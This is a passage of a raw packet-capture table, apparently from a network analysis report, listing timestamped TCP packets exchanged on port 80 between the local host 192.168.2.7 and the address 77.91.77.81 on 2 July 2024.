Jul 2, 2024 12:21:29.298667908 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298691034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298783064 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298804998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298816919 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298818111 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298834085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298835993 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298851967 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298867941 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299026012 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299050093 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299062967 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299068928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299077988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299084902 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299093008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299107075 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299117088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299130917 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299134970 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299161911 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299390078 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299427032 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299443960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299459934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299479961 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299503088 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299532890 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299556017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299570084 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299576998 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299585104 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299592018 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299607038 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299633980 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299789906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299803972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299818993 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299833059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299845934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299860001 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299871922 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299877882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299907923 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299926043 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.299958944 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299973011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299987078 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.299995899 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.300009966 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.300025940 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.303826094 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303844929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303859949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303872108 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.303905010 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.303905010 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.303941965 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303955078 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303970098 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303982973 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.303982973 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.303994894 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.303999901 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304016113 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304023981 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304040909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304049015 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304055929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304069996 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304083109 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304085016 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304094076 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304104090 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304119110 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304181099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304208040 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304219007 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304224014 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304243088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304254055 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304263115 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304266930 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304281950 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304285049 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304299116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304328918 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304421902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304466009 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304478884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304507017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304538965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304553032 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304683924 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304697990 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304713011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304725885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.304729939 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304749966 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.304779053 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330262899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330284119 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330300093 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330317020 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330348015 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330369949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330391884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330406904 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330415010 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330420971 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330435991 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330442905 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330457926 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330466032 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330467939 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330468893 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330472946 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330497980 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330514908 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.330916882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330930948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330940008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330950975 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.330977917 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.331000090 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356128931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356177092 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356194019 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356204987 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356247902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356251955 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356251955 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356265068 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356280088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356287003 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356295109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.356301069 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356322050 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.356340885 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359595060 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359618902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359642029 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359642982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359657049 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359663963 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359671116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359674931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359689951 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359689951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359709978 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359714985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359739065 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359749079 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359915972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359930038 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359945059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359958887 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.359960079 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.359980106 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.360008955 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.360107899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.360124111 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.360136986 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.360153913 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.360169888 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388168097 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388187885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388211966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388226032 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388225079 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388241053 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388247967 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388257980 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388262033 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388274908 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388289928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388313055 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388451099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388499975 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388515949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388531923 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388561964 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388571978 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388577938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388596058 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388606071 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388628006 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388650894 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388693094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388729095 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388753891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388767958 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388786077 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388796091 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388811111 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388832092 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388839006 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388847113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388853073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388873100 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388885975 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388921976 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388936996 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388957977 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388963938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388973951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.388978004 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.388997078 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389010906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389127970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389143944 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389157057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389170885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389174938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389185905 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389189005 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389215946 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389239073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389405966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389420986 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389435053 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389447927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389450073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389462948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389465094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389480114 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389491081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389501095 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389519930 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389542103 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389702082 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389724016 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389738083 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389749050 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389760017 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389770031 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389847040 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389862061 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389875889 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389889002 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389890909 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389904022 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389906883 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389919043 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389930964 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389935017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389950037 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389956951 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.389964104 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389977932 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.389981985 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390000105 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390022039 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390044928 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390058994 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390073061 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390083075 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390095949 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390117884 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390117884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390132904 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390146971 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390156984 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390172005 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390189886 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390244007 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390258074 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390271902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390283108 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390289068 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390300035 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390301943 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390327930 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390352964 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390376091 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390415907 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390415907 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390429020 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390453100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390456915 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390465975 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390470982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390486002 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390505075 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390517950 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390562057 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390582085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390595913 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390619040 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390638113 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390755892 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390800953 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390816927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390830994 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390858889 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390862942 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390877008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390901089 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390937090 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390950918 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.390979052 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.390990973 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391006947 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391021013 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391036034 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391050100 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391060114 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391078949 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391139984 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391151905 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391172886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391185999 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391196012 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391217947 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391242981 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391257048 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391272068 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391285896 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391299963 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391319990 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.391355991 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.391396999 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423722982 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423743963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423760891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423782110 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423796892 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423806906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423813105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423844099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423849106 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423860073 CEST	80	55237	77.91.77.81	192.168.2.7
